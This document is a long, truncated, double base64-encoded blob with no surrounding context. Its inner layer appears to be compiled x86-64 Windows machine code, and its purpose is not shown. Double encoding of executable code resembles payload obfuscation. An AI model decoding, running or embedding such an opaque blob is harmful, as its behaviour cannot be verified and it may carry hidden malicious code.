bkI2Q0JGTzgxMTAwV0Z3SFJUZzcwZ0F3QUFjM01oaTRVZ0F3QUFSSW1FaFNRREFBQkVpNjBnQXdBQVFmL0ZSSW10SUFNQUFPc3dSVFBKUkltMWtBZ0FBRXlOaFpRSUFBQkVpYlVnQXdBQXVzd0JBQUJJalkwa0F3QUE2Q0l6QUFCRWk2MGdBd0FBUllYa0Q0U0tBQUFBUVl2V1JZWHRkQ21MeXYvQ1JZdmtpNFNOSkFNQUFFd0Q0RVNKcEkwa0F3QUFSSXV0SUFNQUFFbkI3Q0JCTzlWMTEwV0Y1SFJVUVlQOWMzTWVRWXZGUklta2hTUURBQUJFaTYwZ0F3QUFRZi9GUkltdElBTUFBT3N3UlRQSlJJbTFrQWdBQUV5TmhaUUlBQUJFaWJVZ0F3QUF1c3dCQUFCSWpZMGtBd0FBNkk4eUFBQkVpNjBnQXdBQVJZdm1SWXZHRDdZRFE0ME1wRUgvd0VqL3cwU05KRWhJTzk4UGhhaisvLzlFaVVRa1BFV0Z3QStFSkFVQUFMak56TXpNUWZmZ2k4TEI2QU9KUkNSSWk4aUpSQ1JRaGNBUGhHWURBQUNMd2JvbUFBQUFPOG9QUjhJejBvbEVKRGlOZVA5SWpRV242ZnovRDdhTXVQSk9CQUFQdHJTNDgwNEVBSXZaU01IakFreUx3NDBFRGtpTmpjUUdBQUNKaGNBR0FBRG8yVnIvLzBpTkRYTHAvUDlJd2VZQ0Q3ZUV1ZkJPQkFCSWpaSGdSUVFBU0kyTnhBWUFBRXlMeGtnRHkwaU5GSUxvS1FjQkFJdTl3QVlBQUlQL0FRK0hwZ0FBQUl1RnhBWUFBSVhBZFIxRWliV1FDQUFBVEkyRmxBZ0FBRVNKdFNBREFBQkZNOG5wZVFJQUFJUDRBUStFaUFJQUFFV0Y3UStFZndJQUFFV0x4a1dMemt5TDBFR0wwVUgvd1VHTHdJdU1sU1FEQUFCSkQ2L0tTQVBJVEl2QmlZeVZKQU1BQUVuQjZDQkZPODExMWtXRndBK0VQQUlBQUlPOUlBTUFBSE1QZy9zQ0FBQ0xoU0FEQUFCRWlZU0ZKQU1BQUVTTHJTQURBQUJCLzhWRWlhMGdBd0FBNlJJQ0FBQk1qWVhFQmdBQVNJMk5KQU1BQUVHRC9RRjNkb3VkSkFNQUFFeUx6MG5CNFFLNnpBRUFBSW05SUFNQUFPamJNQUFBaGRzUGhDdi8vLzlFaTYwZ0F3QUFnL3NCRDRUSkFRQUFSWVh0RDRUQUFRQUFSWXZHUll2T1JJdlRRWXZSUWYvQlFZdkFpNHlWSkFNQUFFa1ByOHBJQThoTWk4R0pqSlVrQXdBQVNjSG9JRVU3elhYVzZUei8vLzlCTy8xSWpaWEVCZ0FBUll2V0Q1TEFoTUJCaThhSmhmQUVBQUJJRDBUUlNJMk5KQU1BQUVrUFJNaElpVlFrWUVXTHhVUVBSY2RCRDBYOVJJbEVKRUJGaGNBUGhCUUJBQUJNaStsQmk4cUxOSXFGOW5VZ1JEdlFENFh5QUFBQVFZMUNBVVNKdEkzMEJBQUFpWVh3QkFBQTZkc0FBQUJCaTk1Rmk4cUYvdytFdmdBQUFFV0wya0gzMjBHRCtYTjBZRVE3eUhVYlFZdkJRWTFLQVVTSnRJWDBCQUFBUTQwRUN3UElpWTN3QkFBQVE0MEVDMFdMd1VHTFZJVUFRZi9CU0ErdjFrS0xoSVgwQkFBQVNBUFFpOE5JQTlCRGpRUUxTSXZhUW9tVWhmUUVBQUJJd2VzZ084ZUxoZkFFQUFCMW1vWGJkRWxCZy9semRFTkVPOGgxRlVHTHdVU0p0SVgwQkFBQVFZMUJBWW1GOEFRQUFFR0x5VUgvd1l2RGk1U045QVFBQUVnRDBJbVVqZlFFQUFDTGhmQUVBQUJJd2VvZ2k5cUYwblczUkl0RUpFQkJnL2x6RDRRQ0FRQUFTSXRVSkdCQi84SkZPOUFQaGUvKy8vOUVpOGhNallYMEJBQUFTY0hoQW9tRklBTUFBTHJNQVFBQVNJMk5KQU1BQU9nQkx3QUFSSXV0SUFNQUFMQUJoTUFQaFBNQUFBQ0xUQ1JRSzB3a09JbE1KRkFQaGFQOC8vOUVpMFFrUEl0RUpFaU5CSUFEd0VRcndBK0UrZ0FBQUVHTlNQOUlqUVZFNXZ6L2k0U0lpRThFQUlYQUQ0U3dBQUFBZy9nQkQ0VFhBQUFBUllYdEQ0VE9BQUFBUll2R1JZdk9SSXZRUVl2UlFmL0JRWXZBaTR5VkpBTUFBRWtQcjhwSUE4aE1pOEdKakpVa0F3QUFTY0hvSUVVN3pYWFdSWVhBRDRTTEFBQUFnNzBnQXdBQWMzTlppNFVnQXdBQVJJbUVoU1FEQUFCRWk2MGdBd0FBUWYvRlJJbXRJQU1BQU90b1JUUEpSSW0xa0FnQUFFeU5oWlFJQUFCRWliVWdBd0FBdXN3QkFBQklqWTBrQXdBQTZBd3VBQUJFaTYwZ0F3QUFRWXJHNlFYLy8vOUZNOGxFaWJXUUNBQUFUSTJGbEFnQUFFU0p0U0FEQUFDNnpBRUFBRWlOalNRREFBRG8xQzBBQUVTTHJTQURBQUJGaGVRUGhJNEFBQUJGaThaRmhlMTBMVUdMeUVIL3dFR0x4SXVValNRREFBQklBOUNKbEkwa0F3QUFSSXV0SUFNQUFFakI2aUJFaStKRk84VjEwMFdGNUhSVVFZUDljM01lUVl2RlJJbWtoU1FEQUFCRWk2MGdBd0FBUWYvRlJJbXRJQU1BQU9zd1JUUEpSSW0xa0FnQUFFeU5oWlFJQUFCRWliVWdBd0FBdXN3QkFBQklqWTBrQXdBQTZEMHRBQUJFaTYwZ0F3QUFSSXRNSkRCSWkwUWtXRVE1TUgwRFJDc0l1TTNNek14RWlVd2tNRUgzNFVHOEFRQUFBRWpIaGZRRUFBQUJBQUFBaThKRWlhWHdCQUFBd2VnRGlVUWtPSXZJaVVRa1VJWEFENFFTQkFBQWk4RzZKZ0FBQUR2S0QwZkNNOUtKUkNSSWpYai9TSTBGVk9UOC93KzJqTGp5VGdRQUQ3YTB1UE5PQkFDTDJVakI0d0pNaThPTkJBNUlqWTJVQ0FBQWlZV1FDQUFBNklaVi8vOUlqUTBmNVB6L1NNSG1BZyszaExud1RnUUFTSTJSNEVVRUFFaU5qWlFJQUFCTWk4WklBOHRJalJTQzZOWUJBUUNMdlpBSUFBQ0Qvd0VQaCtvQUFBQ0xoWlFJQUFDRndIVThSVFBKUkltMXdBWUFBRXlOaGNRR0FBQkVpYlh3QkFBQXVzd0JBQUJJalkzMEJBQUE2Q3dzQUFCRWk2WHdCQUFBc0FHL3pBRUFBT2tnQXdBQWcvZ0JkTzlGaGVSMDZrV0x4a1dMemt5TDBFR0wwVUgvd1VHTHdJdU1sZlFFQUFCSkQ2L0tTQVBJVEl2QmlZeVY5QVFBQUVuQjZDQkZPOHgxMWtXRndIU3JnNzN3QkFBQWMzTWhpNFh3QkFBQVJJbUVoZlFFQUFCRWk2WHdCQUFBUWYvRVJJbWw4QVFBQU91SVJUUEpSSW0xa0FnQUFFeU5oWlFJQUFCRWliWHdCQUFBdXN3QkFBQklqWTMwQkFBQTZJUXJBQUJFaTZYd0JBQUFRWXJHNlZMLy8vOU1qWVdVQ0FBQVNJMk45QVFBQUVHRC9BRVBoOVVBQUFDTG5mUUVBQUJNaTgrSnZmQUVBQUMvekFFQUFJdlhTY0hoQXVnK0t3QUFoZHQxSFVTSnRaQUlBQUJNallXVUNBQUFSSW0xOEFRQUFFVXp5ZWtNQWdBQVJJdWw4QVFBQUlQN0FRK0VFZ0lBQUVXRjVBK0VDUUlBQUVXTHhrV0x6a3lMMDBHTDBVSC93VUdMd0l1TWxmUUVBQUJKRDYvS1NBUElUSXZCaVl5VjlBUUFBRW5CNkNCRk84eDExa1dGd0ErRXhnRUFBSU85OEFRQUFITnpKSXVGOEFRQUFFU0poSVgwQkFBQVJJdWw4QVFBQUVIL3hFU0pwZkFFQUFEcG9BRUFBRVNKdFpBSUFBQk1qWVdVQ0FBQTZSb0NBQUJCTy94SWpaV1VDQUFBUll2V0Q1TEFoTUJCaThhSmhjQUdBQUJJRDBUUlNJMk45QVFBQUVrUFJNaElpVlFrWUVXTHhFUVBSY2RCRDBYOFJJbEVKRUJGaGNBUGhCWUJBQUJNaStGQmk4cUxOSXFGOW5VZ1JEdlFENFgwQUFBQVFZMUNBVVNKdEkzRUJnQUFpWVhBQmdBQTZkMEFBQUJGaTk1Rmk4cUYvdytFd0FBQUFFR0wydmZiUVlQNWMzUmdSRHZJZFJ0Qmk4RkJqVW9CUkltMGhjUUdBQUJDalFRTEE4aUpqY0FHQUFCQ2pRUUxSWXZCUVlzVWhFSC93VUdMdzBnUHI5WklBOUJDaTRTRnhBWUFBRWdEMEVLTkJBdE1pOXBDaVpTRnhBWUFBRW5CNnlBN3g0dUZ3QVlBQUhXYVJZWGJkRXRCZy9semRFVkVPOGgxRlVHTHdVU0p0SVhFQmdBQVFZMUJBWW1Gd0FZQUFFR0x5VUgvd1VHTDA0dUVqY1FHQUFCSUE5Q0psSTNFQmdBQWk0WEFCZ0FBU01IcUlFU0wyb1hTZGJWRWkwUWtRRUdEK1hNUGhNQUFBQUJJaTFRa1lFSC93a1U3MEErRjdmNy8vMFNMeUV5TmhjUUdBQUJKd2VFQ3Y4d0JBQUNKaGZBRUFBQklpOWRJalkzMEJBQUE2QUlwQUFCRWk2WHdCQUFBc0FHRXdBK0Vxd0FBQUl0TUpGQXJUQ1JJaVV3a1VBK0Y5L3YvLzR0RUpEaEVpMHdrTUkwRWdBUEFSQ3ZJZEVCQmpVbi9TSTBGU2VEOC80dUVpSWhQQkFDRndIVjFSVFBKUklsMWdFeU5SWVJFaWJYd0JBQUF1c3dCQUFCSWpZMzBCQUFBNkpNb0FBQkVpNlh3QkFBQVJZWHRENFVpQVFBQVFZdlc2VGtCQUFCRWlYV0FUSTFGaEwvTUFRQUFSVFBKUkltMThBUUFBRWlMMTBpTmpmUUVBQURvVlNnQUFFU0xwZkFFQUFCQmlzYnBUZi8vLzBpTDErdDRnL2dCZExCRmhlUjBxMFdMeGtXTHpreUwwRUdMMFVIL3dVR0x3SXVNbGZRRUFBQkpENi9LU0FQSVRJdkJpWXlWOUFRQUFFbkI2Q0JGTzh4MTFrV0Z3QStFYVAvLy80Tzk4QVFBQUhOekpJdUY4QVFBQUVTSmhJWDBCQUFBUkl1bDhBUUFBRUgveEVTSnBmQUVBQURwUXYvLy83ck1BUUFBUlRQSlJJbDFnRXlOUllSRWliWHdCQUFBU0kyTjlBUUFBT2lySndBQVNJdEVKSEJNaTBRa1dFaUx5RUdLbUFnREFBQkVPSEFJZEJUb3JPSC8vNFRiUVErVnhrbkI1ajlNaVREckV1alU0Zi8vaE50QkQ1WEdRY0htSDBTSk1MZ0NBQUFBNmRFRUFBQkJqVlgvUklsMEpFZ1B2WVNWSkFNQUFIUUUvOERyQTBHTHhzSGlCUVBRUllYa2RRVkJpODdySUVHTlRDVC9SSWwwSkVnUHZZU045QVFBQUhRRS84RHJBMEdMeHNIaEJRUElpOEc3Y2dBQUFDdkNRYm4vLy8vL085RWIvMFNOVTY0aitJbDhKREFQaG9VQkFBQ0w5MFNKZENROFJJdkhnK1lmUVl2Q1FjSG9CU3ZHalh1UGk4aUpSQ1JJU05Qbi84K0x4L2ZRaVVRa09FR05SZjhQdll5RkpBTUFBSFFFLzhIckEwR0x6a0dMd2l2Qk8vQkRqUVFvUVErWHdZUDRjMFNJVENRMEQ1ZkNnL2h6ZFFleEFVV0V5WFVEUVlyT2hOSVBoZGtBQUFDRXlRK0YwUUFBQUR2RFJJdlRSQTlDMExqLy8vLy9SSWxVSkR4RU85QVBoSVVBQUFDTFhDUklRWXZTUkl0VUpEaEJLOUJDalFRQ1FUdkFjbDVCTzlWekNrU0xuSlVrQXdBQTZ3TkZpOTZOUXY5Qk84VnpDa1NMaklVa0F3QUE2d05GaTg1Rkk4cENqUVFDaTh0RUk5OUIwK21MemtIVDQ3bi8vLy8vQTlGRkM4dEVpWXlGSkFNQUFFS05CQUk3d1hRSlJJdXRJQU1BQU91WlJJdFVKRHk3Y2dBQUFFU0tUQ1EwUVl2T1JZWEFkQkdMd2YvQlJJbTBoU1FEQUFCQk84aDE3MFdFeVVHTlFnRkZpK3BFRDBYb1JJbXRJQU1BQU9zcVJUUEpSSWwxZ0V5TlJZUkVpYlVnQXdBQXVzd0JBQUJJalkwa0F3QUE2SWNsQUFCRWk2MGdBd0FBaTN3a01FRzUvLy8vLzBHNklBQUFBSXRNSkZTTFJDUkVLOGlKVENSVVJJdlpoY0IwRVR2NWRncEJzUUdMME9tYkFnQUFSQ3ZmUlR2c2QwTnpCTEVCNjBCQmpWWC9RVHZSZERTTGhKWDBCQUFBaThvNWhKVWtBd0FBZFFoQkE5RkJPOUYxNWtFNzBYUVZpNFNWOUFRQUFEbUVsU1FEQUFDTHlnK1d3ZXNEUVlyT2hNbEVpWFFrUEkxSEFVV0x3dzlGK0w0QkFBQUFRWVBqSDBIQjZBVkJpOEtKZkNRd1FTdkRpOGlKUkNSSVNOUG0vODZMeHZmUWlVUWtPRUdOUmYrTHlBKzloSVVrQXdBQWRBVC93T3NEUVl2R1JDdlFRNDBFS0VVNzJrRVBsOFNEK0hORWlHUWtOQStYd29QNGMzVUhzUUZGaE9SMUEwR0t6b1RTRDRYRUFBQUFoTWtQaGJ3QUFBQTd3dzlDMklsY0pEeEJPOWtQaElBQUFBQkVpMlFrU0l2VGkxd2tPRUVyMEVLTlBBSkJPL2h5WEVFNzFYTUtSSXVVbFNRREFBRHJBMFdMMW8xQy8wRTd4WE1LUkl1TWhTUURBQURyQTBXTHprUWp5MEdMekVIVDZVUWoxa0dMeTBIVDRybi8vLy8vQTlGRkM4cEVpWXk5SkFNQUFFS05CQUk3d1hRSlJJdXRJQU1BQU91Ymkxd2tQSXQ4SkRCRWltUWtORUdMemtXRndIUVJpOEgvd1VTSnRJVWtBd0FBUVR2SWRlOUZoT1NOUXdFUFJkaUpuU0FEQUFEckkwVXp5VVNKZFlCTWpVV0VSSW0xSUFNQUFMck1BUUFBU0kyTkpBTUFBT2lYSXdBQVNJMlY4QVFBQUVpTmpTQURBQURvM0FFQUFFUTV0U0FEQUFCTWk4aTQvLy8vL3crVXcwdzd5SFlZU1l2SlNNSHBJQSs5eVhRRS84SHJBMEdMem9QQklPc05RUSs5eVhRRS84SHJBMEdMem90MEpGUTd6blllSzg2RTIzUVN1QUVBQUFDekFValQ0RWoveUVtRndYUURRWXJlU2RQcFJJdFVKRVJGaGY5Rmk5NUZpOFpFRDBXZFZBRUFBSXZPUVlQL0FVR05RdjVFRDBlRldBRUFBSVBLL3l2WFJZWFNSWXZRVEl0RUpGZ1BSZEJKd2VJZ1FZdkRUSXRjSkhCTUE5QkZpb0FJQXdBQVNkUGlUSWxjSkNCTGpRd1JSSXJMNkZYZC8vL3JLMFdGeVVFUGxjR0wwVXlMUkNSWVNJMk5VQUVBQUV5TFhDUndUSWxjSkNCRmlvQUlBd0FBNk56Zy8vOUlpNDFnQ2dBQVNEUE02T24wQUFCSWk1d2t3QXNBQUVpQnhIQUxBQUJCWDBGZVFWMUJYRjllWGNQTXpFaUpYQ1FJVjBpRDdEQkVpa29JVEl2WlFZckJNOG4yMkVpTCtrR0xHMDJOVXdoQmkwTUVTWTFUQ0VVYndQL0xRWVBnSFV3RDBFR0R3QmhCQTloSk85SjBORUgyMlVpNEFBQUEvLy8vSHdCTkc4Qk1JOEJKZ2NELy8vOEFTVHZJZHhVUHRnS0Q2d1JJd2VFRVNQL0NTQVBJU1R2U2RlWkJzUUhyRVVXRXlYUVJpZ0pJLzhLRXdIVHRSVExKU1R2U2RlcEZpb01JQXdBQWk5TklpWHdrSU9oWTNQLy9TSXRjSkVCSWc4UXdYOFBNek16TXpNek16TXpNek16TVNJbFVKQkJXVjBpQjdFZ0NBQUJFaXdsSWkvcElpL0ZGaGNsMUREUEFTSUhFU0FJQUFGOWV3NHNDaGNCMDdraUpuQ1JBQWdBQVFmL0pTSW1zSkRnQ0FBQk1pYVFrTUFJQUFFeUp0Q1FnQWdBQVRJbThKQmdDQUFDRDZBRVBoZklBQUFCRWkzb0VSVFAyUVlQL0FYVW9pMWtFVEkxRUpFUklnOEVFUklrMlJUUEpSSWwwSkVDNnpBRUFBT2dZSVFBQWk4UHBCUVFBQUVXRnlYVTVpMWtFVEkxRUpFUkVpVEZGTThsSWc4RUVSSWwwSkVDNnpBRUFBT2pySUFBQU05S0x3MEgzOTRYU2lWWUVRUStWeGtTSk51bkhBd0FBUWJ6Ly8vLy9TWXYrU1l2dVJUdk1kQzlKaTg4UEg0QUFBQUFBUW90RWpnUXowa2pCNVNCRkE4eElDOFZJd2VjZ1NQZnhpOEJJaStwSUEvaEZPOHgxMjBVenlVU0pkQ1JBVEkxRUpFUkVpVGE2ekFFQUFFaU5UZ1RvZFNBQUFFaUx6WWx1QkVqQjZTQklpOGVGeVlsT0NFRVBsY1pCLzhaRWlUYnBTQU1BQUVFN3dYWUhNOERwUEFNQUFFV0x3VWxqMFVRcndFeUpyQ1FvQWdBQVNXUFlSSTFvQVVXTDBVZzcwM3hNU0lQQkJFaU5CSjBBQUFBQVRJdmZUQ3ZZVEN2ZVNJME1rUThmZ0FBQUFBQ0xBVUU1QkF0MUVVSC95a2oveWtpRDZRUklPOU45NmVzVFNXUENTSXZJU0N2TGkwU0dCRGxFandSekEwSC93RVdGd0hVSE04RHB1UUlBQUVHTlJmOUJ1eUFBQUFCRWkxU0hCRUdOUmY2TFhJY0VRUSs5d29tY0pIZ0NBQUIwQ2JvZkFBQUFLOURyQTBHTDAwUXIyb21VSkhBQ0FBQkVpVndrSUlYU2RFQkJpOEtMMDBHTHk5UHFpNHdrY0FJQUFFU0wwdFBnaTlIVDQwUUwwSW1jSkhnQ0FBQkJnLzBDZGhaQmpVWDlRWXZMaTBTSEJOUG9DOWlKbkNSNEFnQUFSVFAyUVkxWS80bWNKR0FDQUFCRmkvNkYydytJM3dFQUFFR0x3MEtOUEN0Rmk5cEJ2UC8vLy85TWlWd2tNRWlKUkNRNFFUdjVkd2FMYkw0RTZ3TkJpKzZOUi8rTFRJWUVqVWYrUkl0VWhnUklpVXdrS0lsc0pDeUYwblF5U0l0TUpEaEZpOEpJaTBRa0tFblQ2SXZLU05QZ1RBdkFRZFBpZy84RGNoZUxUQ1FnalVmOWkwU0dCTlBvUkF2UTZ3Vk1pMFFrS0RQU1NZdkFTZmZ6aThwTWk4QkpPOFIyRjBpNEFRQUFBUC8vLy85SkE4Qk5pOFJKRDYvRFNBUElTVHZNZDBSSWkxd2tNRVdMMmtTTGxDUjRBZ0FBUVl2U1NRK3YwRW4zMm1ZUEgwUUFBRWlMd1VqQjRDQkpDOE5JTzlCMkRrbi95RWtEMGtnRHkwazd6SGJqaTV3a1lBSUFBRTJGd0ErRXdBQUFBRW1MemtXRjdYUllUSXVNSkdnQ0FBQ0wwMG1Ed1FSQmk5MW1aZzhmaEFBQUFBQUFRWXNCU1ErdndFZ0R5SXZDUkl2UlNNSHBJRXlOSElhTFJJWUVRVHZDY3dOSS84RkJLOEwvd2ttRHdRUkJpVU1FU0lQckFYWEtpNXdrWUFJQUFJdkZTRHZCYzA1Rmk4NUZoZTEwUTB5TG5DUm9BZ0FBUkl2VFNZUERCRUdMM1dhUVFZdkNUWTFiQkl0VWhnUklqUXlHUVl0RC9FSC93a2dEMEVHTHdVZ0QwRXlMeW9sUkJFbkI2U0JJZytzQmRkRkovOGlMbkNSZ0FnQUFSSTFQLzB5TFhDUXcvOHVMbENSd0FnQUEvODlKd2VjZ1FZdkFUQVA0aVp3a1lBSUFBSVhiRDRrNy92Ly9RZi9CUVl2SlJEc09jdzJMd2YvQlJJbDBoZ1E3RG5MelJJa09SWVhKZEJ0bVpnOGZoQUFBQUFBQWl4Yi95a1E1ZEpZRWRRYUpGb1hTZGU5Smk4ZE1pNndrS0FJQUFFeUx0Q1FnQWdBQVRJdWtKREFDQUFCSWk2d2tPQUlBQUVpTG5DUkFBZ0FBVEl1OEpCZ0NBQUJJZ2NSSUFnQUFYMTdEek14SWlWd2tDRWlKZENRUVYwaUQ3Q0F6OWtpTCtVZzVNWFVpalZZQnVRQWdBQURva2tRQUFFaUxEMGlMMk9ndlF3QUFNOGxJaVIvb0pVTUFBRWlMRDBpTmdRQWdBQUJNaThCTUs4RklPOGhNRDBmR1RZWEFkQlJJaTlGSTk5cjJFVWovd1VpTkJBcEpPOEIxOGtpTFhDUXdTSXQwSkRoSWc4UWdYOFBNaTBFd1JUUEFoY0I0SElQNEFYNTdRWTFRQ0lQNEJuNGxnL2dIZEF3N3duUnBnL2dKZEJjendNT0xRU2lGd0hSUmcvZ0RkRkU3d2trUFJkRHJTWXRKS0lQNUJYOHRkRCtGeVhRMmcra0JkQnVENlFGMEQ0UHBBWFFuZy9rQmRDZEppOURySXJvQ0FBQUE2eHU2QVFBQUFPc1VnK2tHZEErRDZRRjBDb1BwQXV2WHVnUUFBQUJJaThMRGlrRXM5dGhJRzhCSTk5aEkvOEREek16TVNJbGNKQWhJaVhRa0VGZElnK3dnU0l0QkdFaUwyVWlGd0hRR1NEdEJFSFlZNk1KSkFBREhBQllBQUFEbzgwVUFBSVBJLyttbEFBQUFTSU41S0FCMUUraWpTUUFBZzgvL3h3QVdBQUFBNllBQUFBQklnOEVnNnhCSWk4dm9yd1lBQUlUQWRBMUlqVXNnNkJyUy8vK0V3SFhuU0lPN2tBQUFBQUNMczRnQUFBQjFQRWlMUXhpRHovOUlPME1RZFFTTHorc09ENzRJU1AvQVNJbERHRHZQZFFLTDkwaUxReGhJTzBNSWRCRklPME1RZFFRN3ozUUhTUC9JU0lsREdQWURBWFFaaTFzd2hkdDBFdWdaU1FBQWkvNkpHT2hNUlFBQWk4ZnJBb3ZHU0l0Y0pEQklpM1FrT0VpRHhDQmZ3OHpNU0lsY0pBaFhTSVBzSUVpTFFSaElpOWxJaGNCMEJrZzdRUkIyR09qWFNBQUF4d0FXQUFBQTZBaEZBQUNEeVAvcHBnQUFBRWlEZVNnQWRSUG91RWdBQUlQUC84Y0FGZ0FBQU9tRkFBQUFTSVBCSU9zUVNJdkw2SGdHQUFDRXdIUU5TSTFMSU9qLzB2Ly9oTUIxNTBpRGUzZ0FpM3R3ZFVsSWkwTVlTRHRERUhVS3VQLy9BQUFQdDlEckZRKzNFRWlEd0FKSWlVTVl1UC8vQUFCbU85QjFBNFBQLzBpTFN4aElPMHNJZEJOSU8wc1FkUVZtTzlCMENFaU5RZjVJaVVNWTlnTUJkQk9MV3pDRjIzUU02Q2RJQUFDSkdPaGNSQUFBaThkSWkxd2tNRWlEeENCZnc4ek16RWlKWENRSVYwaUQ3Q0NMVVZCSWk5bUQrZ1VQajRjQUFBQjBmalAvaGRKMFA0UHFBWFFyZytvQmRDS0Q2Z0YwRFlQNkFYVi9qVmNJNmRFQUFBQzZDZ0FBQUVHNEFRQUFBT25FQUFBQU05THI4Ym9CQUFBQTZFa0dBQURwdGdBQUFFaUR3U0RvSS8zLy8waUQ2QUYwRlVpRDZBRjFIMFV6d0RQU1NJdkw2TGJLLy8vckRVVXp3RFBTU0l2TDZQL0cvLzlBaXZoQWlzZnJmYm9LQUFBQTYyNkQ2Z1owWklQcUFYUllnK29CZENpRCtnRjBCRExBNjE0ei8wQTRlVHAwQlkxSEFldFJTSXRSR0VVendFZ3JVUWpvb3hVQUFPcy9TSVBCSU9pcy9QLy9TSVBvQVhRVFNJUG9BWFFFTS8vcnBFVXp3RUdOVUFqcmdVVXp3RUdOVUFqcmgraFZBUUFBNncyNkVBQUFBRVV6d09ndUFnQUFTSXRjSkRCSWc4UWdYOFBNek14SWlWd2tDRmRJZyt3Z2kxRlFTSXZaZy9vRkQ0K1NBQUFBRDRTRkFBQUFNLytGMG5SRGcrb0JkQytENmdGMEpvUHFBWFFSZy9vQkQ0V0NBQUFBalZjSTZkMEFBQUM2Q2dBQUFFRzRBUUFBQU9uUUFBQUFNOUxyOGJvQkFBQUE2S2tGQUFEcHdnQUFBRWlEd1NEbzkvdi8vMGlENkFGMEZVaUQ2QUYxSDBVendEUFNTSXZMNklyTC8vL3JEVVV6d0RQU1NJdkw2SnZILy85QWl2aEFpc2ZwaGdBQUFMb0tBQUFBNjNlRDZnWjBiWVBxQVhSaGcrb0JkQ3VEK2dGMEJETEE2MmN6LzBBNGVUeDBCWTFIQWV0YVNJdFJHRVV6d0VnclVRaEkwZnJvOVJRQUFPdEZTSVBCSU9oNisvLy9TSVBvQVhRV1NJUG9BWFFFTS8vcm5rVXp3RUdOVUFqcGVQLy8vMFV6d0VHTlVBanBlLy8vLytpTkFBQUE2dzI2RUFBQUFFVXp3T2ltQVFBQVNJdGNKREJJZzhRZ1g4UE16TXhJaVZ3a0NGZElnK3dnU0l0UmVFaUwyVWlEd1Fqb2dzei8vNHZJU0l0REdFZzdRd2gwRWtnN1F4QjFCWVA1LzNRSFNQL0lTSWxER0VpTlN5RG83L3IvLzBpRCtBUjBGRWlEK0FoMEJETEE2eEpJaTh2b2s4UC8vK3NJU0l2TDZFWEMvLzlJaTF3a01FaUR4Q0Jmdzh6TVNJbGNKQWhYU0lQc0lFaUxVV0JJaTlsSWc4RUk2S0xNLy84UHQ4aElpME1ZU0R0RENIUVlTRHRERUhVS3V2Ly9BQUJtTzhwMENFaUR3UDVJaVVNWVNJMUxJT2g0K3YvL1NJUDRCSFFVU0lQNENIUUVNc0RyRWtpTHkrakV3Ly8vNndoSWk4dm9kc0wvLzBpTFhDUXdTSVBFSUYvRHpNek1TSWxjSkJCSWlXd2tHRWlKZENRZ1YwaUQ3RUNMNmtpTmVRaElpMUY0U0l2WlNJdlBRWXJ3NklqTC8vK0x5RWlMUnhCSU93ZDBFa2c3UndoMUJZUDUvM1FIU1AvSVNJbEhFRXlMUTBCTWpVd2tVRWlMMThaRUpGQUFTSTFNSkNEb3VJbi8vMGlMUzNoSWk5QkVpczVFaThYb2FyUC8vNEI4SkZBQWRRUXl3T3NZZ0hzNkFIUUVzQUhyRGtHd0FVaUwwRWlMeStpYkVnQUFTSXRjSkZoSWkyd2tZRWlMZENSb1NJUEVRRi9Eek14SWlWd2tFRWlKYkNRWVNJbDBKQ0JYU0lQc1FJdnFTSTE1Q0VpTFVXQklpOWxJaTg5Qml2RG9hTXYvL3crM3lFaUxSeEJJT3dkMEdFZzdSd2gxQ3JyLy93QUFaanZLZEFoSWc4RCtTSWxIRUV5TFEwQk1qVXdrVUVpTDE4WkVKRkFBU0kxTUpDRG9BWW4vLzBpTFMyQklpOUJFaXM1RWk4WG9SN2YvLzRCOEpGQUFkUVF5d09zWWdIczhBSFFFc0FIckRrR3dBVWlMMEVpTHkraG9FZ0FBU0l0Y0pGaElpMndrWUVpTGRDUm9TSVBFUUYvRHpNek1TSWxjSkFoWFNJUHNJQSsyK2tpTDJlajNmd0FBdVFDQUFBQm1oUXg0ZEY1SWkwTVlTRHRERUhVRmc4bi82d29QdmdoSS84QklpVU1ZRDdaRE9UdklkRDFJaTBNWVNEdERDSFFTU0R0REVIVUZnL24vZEFkSS84aElpVU1ZU0l0REdFZzdRd2gwRTBnN1F4QjFCa0NBLy85MEIwai95RWlKUXhneXdPc0NzQUZJaTF3a01FaUR4Q0Jmdzh4SWlWd2tDRmRJZyt3Z1NJdlppMGswZytrQ2RHZUQ2UUYwSUlQNUFYVk5TSXZMNktINi8vK0t5RExBaE1sMEIwai9nNUFBQUFDS3dldHZTSXRER0VnN1F4QjBLQSsrQ0VqL3dFaUpReGlEK2Y5MEdRKzJRemc3eUhRVlNJdERHRWc3UXdoMEIwai95RWlKUXhneXdPczVpdEZJaTh2byt2Ny8vK3N0U0l0VGVFaU5Td2pvTjhuLy80dklTSXRER0VnN1F3aDBFa2c3UXhCMUJZUDUvM1FIU1AvSVNJbERHTEFCU0l0Y0pEQklnOFFnWDhOSWlWd2tDRmRJZyt3Z1NJdlppMGswZytrQ2RGNkQ2UUYwSW9QNUFYVlFTSXZMNkJINy8vK0t5RExBaE1sMENiZ0JBQUFBU0FGRGVJckI2MjVJaTBNWVNEdERFSFFwRDdjUXVmLy9BQUJJZzhBQ1NJbERHR1k3MFhRVVpqdFRPSFJFU0R0RENIUUlTSVBBL2tpSlF4Z3l3T3MzU0l0VFlFaU5Td2pvSE1uLy93KzMwRWlMUXhoSU8wTUlkQmhJTzBNUWRRcTUvLzhBQUdZNzBYUUlTSVBBL2tpSlF4aTRBUUFBQUVpTFhDUXdTSVBFSUYvRHpNek1TSWxjSkFoSWlYUWtFRmRJZyt3Z2kvSklpOW1EK2dGMUswaUxVWGhJZzhFSTZDN0kvLytMeUVpTFF4aElPME1JZEJKSU8wTVFkUVdEK2Y5MEIwai95RWlKUXhoSWpVc2c2SnYyLy85SWcrZ0JkQmxJZytnQmRBUXl3T3NjUlRQQWk5WklpOHZvS3NULy8rc05SVFBBaTlaSWk4dm9jOEQvLzBpTFhDUXdTSXQwSkRoSWc4UWdYOFBNek14SWlWd2tDRWlKZENRUVYwaUQ3Q0NMOGtpTDJZUDZBWFV5U0l0UllFaUR3UWpvTXNqLy93KzN5RWlMUXhoSU8wTUlkQmhJTzBNUWRRcTYvLzhBQUdZN3luUUlTSVBBL2tpSlF4aElqVXNnNkFqMi8vOUlnK2dCZEJsSWcrZ0JkQVF5d09zY1JUUEFpOVpJaTh2b2w4WC8vK3NOUlRQQWk5WklpOHZvcU1ILy8waUxYQ1F3U0l0MEpEaElnOFFnWDhOTWkwRUlTSXZSUVErMkFJUDRaQStQK3dBQUFBK0U2UUFBQUlQNFUzOU9ENFF3QVFBQWcvaEJENFI4QVFBQWcvaERkRmFEK0VSK0VvUDRSdytPYVFFQUFJUDRTUStFVndFQUFEUEFTT